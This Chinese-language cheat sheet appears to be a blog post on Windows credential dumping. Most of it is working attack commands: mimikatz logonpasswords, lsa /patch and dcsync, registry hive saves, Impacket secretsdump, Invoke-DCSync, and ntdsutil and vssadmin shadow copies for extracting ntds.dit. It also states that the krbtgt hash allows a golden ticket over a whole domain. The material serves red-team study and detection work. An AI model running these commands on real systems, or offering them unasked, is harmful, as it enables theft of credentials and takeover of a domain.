[Credential Access] Windows Credential Dumping总结
一、SAM
reg save HKLM\sam sam
reg save HKLM\system system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
lsadump::sam
https://www.cnblogs.com/ring-lcy/p/12442614.html
二、Cached Domain Credentials
reg save HKLM\security security
reg save HKLM\system system
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SYSTEM
lsadump::cache
https://www.cnblogs.com/ring-lcy/p/12497996.html
三、Local Security Authority (LSA) Secrets
LSA Secret存储在HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets,笔者暂未找到解密和利用的方法,后面有更新再补~
1. 在线dump lsadump::secrets dump 2. 离线dump reg save HKLM\SYSTEM system reg save HKLM\security security lsadump::secrets /system:system /security:security
四、从Lsass.exe中dump明文密码和Hash
# 注:为了与lsass.exe交互,需要以administrator权限启动mimikatz并获得debug权限;或者以system权限启动mimikatz
mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords
https://www.cnblogs.com/ring-lcy/p/12442614.html
五:SAM/NTDS
SAM文件储存的是本地账户的NTLM Hash,域账户的NTLM Hash位于域控机器上 C:\Windows\NTDS\ntds.dit,该文件需要C:\Windows\System32\config\SYSTEM
registry hive中的key来解码;在系统运行过程中,这两个文件会一直被OS占用,不能直接读取、拷贝。
域环境中,拿到krbtgt账号hash就可以通过传递黄金票据感染整个域。
1. mimikatz # lsadump::lsa
通过与LSA Server交互直接拿到SAM和NTDS中储存的Hash, 这种方式与读取SAM,NTDS文件拿到的信息基本一致,但直接与LSASS 交互有可能造成其crash,尤其是在域很大的情况下。
lsadump::lsa /inject
lsadump::lsa /patch
也可以指定某个特定账户:
lsadump::lsa /patch /id:[ACCOUNT_ID] lsadump::lsa /patch /name:[ACCOUNT_NAME]
/patch: 在memory中修改了samsrv.dll的逻辑(即patching),从而获取LM/NTLM Hash
/inject: 在Lsass.exe中new了一个新的thread,除LM/NTLM Hash外还可以获取 WDigest and Kerberos keys(怎么利用?),但new thread的行为也易于被发现。
2. DCSync
利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据, https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47
-
mimikatz # lsadump::dcsync
lsadump::dcsync /domain:[FQDN_DOMAIN] /user:[ACCOUNT]
或
lsadump::dcsync /domain:[FQDN_DOMAIN] /all /csv
-
Impacket secretsdump.py (知道DC的用户名密码的话,可以远程dump)
python secretsdump.py -just-dc-user [ACCOUNT] [DOMAIN]/[USERNAME]:[PASSWORD]@[TARGET]
或
python secretsdump.py -just-dc [DOMAIN]/[USERNAME]:[PASSWORD]@[TARGET]
-
Invoke-DCSync.ps1
本质也是调用mimikatz,不过不用以administrator权限启动。
Invoke-DCSync -PWDumpFormat -Users [ACCOUNT]
或
Invoke-DCSync -PWDumpFormat
3. Volume Shadow Copy
拷贝SAM文件和NTDS文件,再解密出Hash
-
NTDSUtil
域控制器中原生自带ntdsutil.exe,方便管理员使用命令行管理active directory,用以下命令就可以将ntds.dit和system文件拷贝到c:\temp目录下
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' quit quit"
-
VSSAdmin
> vssadmin create shadow /for=C: Shadow Copy ID: {e3e6bc3e-9402-4bca-9016-d1076d45dc70} Shadow Copy Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8 > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\Windows\NTDS\NTDS.dit c:\temp\ > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\Windows\System32\config\SYSTEM c:\temp\ > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\Windows\System32\config\SECURITY c:\temp\ > vssadmin delete shadows /Shadow=[VSS_ID] /Quiet
-
diskshadow
-
Impacket secretsdump.py 解密dump出的NTDS.dit文件
python secretsdump.py -ntds [/path/to/NTDS.dit] -system [/path/to/SYSTEM] -security[/path/to/SECURITY] LOCAL
参考:
https://attack.mitre.org/techniques/T1003/
https://pwn.no0.be/post/windows/creds_collection/system/#mimikatz---sekurlsacache
Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy